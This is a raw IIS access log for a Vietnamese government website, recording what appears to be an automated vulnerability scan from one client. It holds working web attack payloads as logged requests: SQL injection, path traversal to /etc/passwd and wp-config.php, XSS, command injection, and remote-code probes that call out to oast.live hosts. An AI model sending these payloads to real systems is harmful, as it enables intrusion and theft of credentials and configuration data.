Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 33 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 08:02:50 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 08:02:49 103.153.214.94 GET /.magnolia/admincentral - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 678 2023-06-29 08:06:52 103.153.214.94 GET /SSI/Auth/ip_snmp.htm - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 48 2023-06-29 08:09:23 103.153.214.94 POST /admin/ajax.php action=login 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 156 2023-06-29 08:09:23 103.153.214.94 GET /admin/view_car.php id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+4.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 301 0 0 27 2023-06-29 08:09:23 103.153.214.94 GET /admin/ id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+4.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 https://bcvt.kontum.gov.vn/admin/view_car.php?id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ 200 0 0 28 2023-06-29 08:09:44 103.153.214.94 GET /wp-content/themes/churchope/lib/downloadlink.php file=../../../../wp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 33 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 08:30:01 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 08:30:01 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_perchaimageattach 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 31 2023-06-29 08:35:55 103.153.214.94 GET /filter/jmol/js/jsmol/php/jsmol.php call=getRawDataFromDatabase&query=file:///etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 200 0 0 32 2023-06-29 08:48:36 103.153.214.94 GET /language/lang - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 https://bcvt.kontum.gov.vn 200 0 0 30 2023-06-29 08:48:36 103.153.214.94 GET /index.php sl=../../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 26 2023-06-29 08:59:52 103.153.214.94 GET /resin-doc/resource/tutorial/jndi-appconfig/test inputFile=../../../../../index.jsp 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 37 2023-06-29 09:01:34 103.153.214.94 POST /api/external/7.0/system.System.get_infos - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 https://bcvt.kontum.gov.vn 404 0 2 2448 2023-06-29 09:04:36 103.153.214.94 GET /password.html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 33 2023-06-29 09:10:22 103.153.214.94 GET /system/console - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2117.157+Safari/537.36 - 200 0 0 38 2023-06-29 09:12:30 103.153.214.94 GET /api/security/ticket - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 404 0 2 82 2023-06-29 09:12:53 103.153.214.94 POST /admin/ajax.php action=login 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 405 0 1 29 2023-06-29 09:12:53 103.153.214.94 GET /admin/manage_booking.php id=-1%20union%20select%201,2,3,4,5,6,md5(999999999),8,9,10,11--+ 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 301 0 0 24 2023-06-29 09:12:53 103.153.214.94 GET /admin/ id=-1%20union%20select%201,2,3,4,5,6,md5(999999999),8,9,10,11--+ 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 https://bcvt.kontum.gov.vn/admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5(999999999),8,9,10,11--+ 200 0 0 31 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 09:56:55 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 09:56:54 103.153.214.94 GET /_s_/dyn/Log_highlight href=../../../../windows/win.ini&n=1 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 517 2023-06-29 10:02:52 103.153.214.94 GET /info.html - 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 https://bcvt.kontum.gov.vn/info.html 200 0 0 36 2023-06-29 10:06:17 103.153.214.94 GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js mgrDn=a&pwd=a&url=%23{T(java.net.InetAddress).getByName('cibehhqofm2ke57n2m2gw3qsytb96onas.oast.live')} 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 37 2023-06-29 10:10:17 103.153.214.94 GET /backend/backend/auth/signin - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 64 2023-06-29 10:20:53 103.153.214.94 GET /NCFindWeb filename=WEB-INF/web.xml&service=IPreAlertConfigService 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 200 0 0 40 2023-06-29 10:26:23 103.153.214.94 GET /wp-content/themes/oxygen-theme/download.php file=../../../wp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 31 2023-06-29 10:40:09 103.153.214.94 GET /index.php q=file:///etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 34 2023-06-29 10:53:59 103.153.214.94 GET /advanced_component_system/index.php ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 38 2023-06-29 10:56:27 103.153.214.94 GET /css/eonweb.css - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 32 2023-06-29 11:03:06 103.153.214.94 GET / - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 39 2023-06-29 11:03:18 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_powermail 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1866.237+Safari/537.36 - 200 0 0 57 2023-06-29 11:03:23 103.153.214.94 GET / - 443 - 159.65.142.231 Mozilla/5.0+(Windows+NT+10.0;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 116 2023-06-29 11:03:43 103.153.214.94 GET / - 443 - 159.65.142.231 Mozilla/5.0+(Windows+NT+10.0;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 124 2023-06-29 11:04:28 103.153.214.94 GET /metrics/v1/mbeans - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 32 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 11:28:58 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 11:28:58 103.153.214.94 GET /_ignition/scripts/--><svg+onload=alert(document.domain)> - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 606 2023-06-29 11:29:49 103.153.214.94 POST /console/images/%2e%2e%2fconsole.portal - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 404 11 0 43 2023-06-29 11:44:40 103.153.214.94 GET / - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 200 0 0 35 2023-06-29 11:44:40 103.153.214.94 GET /hp/device/webAccess/index.htm content=security 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 33 2023-06-29 11:56:13 103.153.214.94 GET /pme/media/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2226.0+Safari/537.36 - 200 0 0 36 2023-06-29 12:01:42 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_perchafieldsattach 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 35 2023-06-29 12:04:17 103.153.214.94 GET /wp-content/plugins/adaptive-images/adaptive-images-script.php/<img/src/onerror=alert(document.domain)>/ debug=true 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 43 2023-06-29 12:08:16 103.153.214.94 GET /cgi-bin/broker BG=%23FFFFFF&DATASET=targetdataset&TEMPFILE=Unknown&_DEBUG=131&_DEBUG=131&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&_PROGRAM=sample.webcsf1.sas&_SERVICE=targetservice&_WEBOUT=test&bgtype=COLOR&csftyp=classic,+ssfile1%3d/etc/passwd&style=a+tcolor%3dblue&sysparm=test 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 61 2023-06-29 12:13:51 103.153.214.94 POST /controller/origemdb.php idselorigem=ATIVOS 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 35 2023-06-29 12:13:51 103.153.214.94 POST /controller/login.php acao=autenticar 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 405 0 1 27 2023-06-29 12:13:51 103.153.214.94 POST /controller/login.php acao=autenticar 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 405 0 1 27 2023-06-29 12:21:46 103.153.214.94 GET /plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php files[]=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 44 2023-06-29 12:29:31 103.153.214.94 GET /catalog.php filename=../../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 38 2023-06-29 12:32:25 103.153.214.94 GET /login.zul - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2117.157+Safari/537.36 - 200 0 0 34 2023-06-29 12:36:44 103.153.214.94 POST /json-rpc/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 405 0 1 34 2023-06-29 12:49:21 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_rokdownloads 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 37 2023-06-29 12:52:08 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_zimbcore 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 41 2023-06-29 12:56:12 103.153.214.94 GET /admin/install/install.php - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 301 0 0 153 2023-06-29 12:56:12 103.153.214.94 GET /admin/ - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 https://bcvt.kontum.gov.vn/admin/install/install.php 200 0 0 35 2023-06-29 12:56:58 103.153.214.94 GET /index.php controller=../../../../../../../../../../../../../../../etc/passwd%00&option=com_mscomment 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 29 2023-06-29 12:56:58 103.153.214.94 GET /maint/modules/home/index.php lang=english|cat%20/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 26 2023-06-29 12:59:14 103.153.214.94 POST /upload/index.php route=extension/payment/divido/update 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 405 0 1 34 2023-06-29 13:05:47 103.153.214.94 GET / action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 200 0 0 33 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 42 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 261 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 27 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 200 0 0 25 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 30 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 24 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 24 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 28 2023-06-29 13:11:55 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 27 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 24 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 26 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 26 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 23 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 25 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1866.237+Safari/537.36 - 200 0 0 22 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+4.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 27 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.2;+WOW64)+AppleWebKit/537.36+(KHTML+like+Gecko)+Chrome/44.0.2403.155+Safari/537.36 - 200 0 0 24 2023-06-29 13:11:56 103.153.214.94 GET /manager/html - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 200 0 0 25 2023-06-29 13:22:44 103.153.214.94 GET /wp-content/plugins/insert-php/readme.txt - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 36 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 13:53:02 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 13:53:01 103.153.214.94 GET /jpeginfo/jpeginfo.php url=cibehhqofm2ke57n2m2gim76pwyfmg34x.oast.live 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/40.0.2214.93+Safari/537.36 - 200 0 0 509 2023-06-29 14:01:08 103.153.214.94 GET /%5c%5ccibehhqofm2ke57n2m2gunmzy4uhptyju.oast.live%5cC$%5cbb - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2062.124+Safari/537.36 - 404 11 0 27 2023-06-29 14:04:12 103.153.214.94 GET /include/dialog/config.php adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 37 2023-06-29 14:11:19 103.153.214.94 GET /hystrix/;a=a/__${T+(java.lang.Runtime).getRuntime().exec("nslookup+cibehhqofm2ke57n2m2gxsk6msfqwn9mq.oast.live")}__::.x/ - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 40 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 14:33:56 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 14:33:55 103.153.214.94 GET /index.php option=com_photobattle&view=../../../../../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 641 2023-06-29 14:38:57 103.153.214.94 GET /cgi-bin/cgibox .cab 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 37 2023-06-29 14:38:57 103.153.214.94 GET /cgi-bin/cgibox /nobody 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 29 2023-06-29 14:45:43 103.153.214.94 GET /install.php a=check 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2062.124+Safari/537.36 - 200 0 0 35 2023-06-29 14:50:47 103.153.214.94 POST /cgi-bin/webproc - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 405 0 1 40 2023-06-29 14:52:34 103.153.214.94 GET /public/index.php s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 200 0 0 33 2023-06-29 15:00:00 103.153.214.94 GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 30 2023-06-29 15:00:00 103.153.214.94 GET /actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 27 2023-06-29 15:02:36 103.153.214.94 GET /index.php action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd&option=com_extplorer 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1866.237+Safari/537.36 - 200 0 0 34 2023-06-29 15:10:02 103.153.214.94 GET /index.php controller==../../../../../../../../../../etc/passwd%00&option=com_preventive 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 33 2023-06-29 15:12:05 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_perchagallery 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 39 2023-06-29 15:14:17 103.153.214.94 GET / - 443 - 158.51.126.54 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 - 200 0 0 258 2023-06-29 15:14:20 103.153.214.94 GET /runtime-es5.js - 443 - 158.51.126.54 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 2744 2023-06-29 15:14:31 103.153.214.94 GET /polyfills-es5.js - 443 - 158.51.126.54 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 11192 2023-06-29 15:14:55 103.153.214.94 GET /styles-es5.js - 443 - 158.51.126.54 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 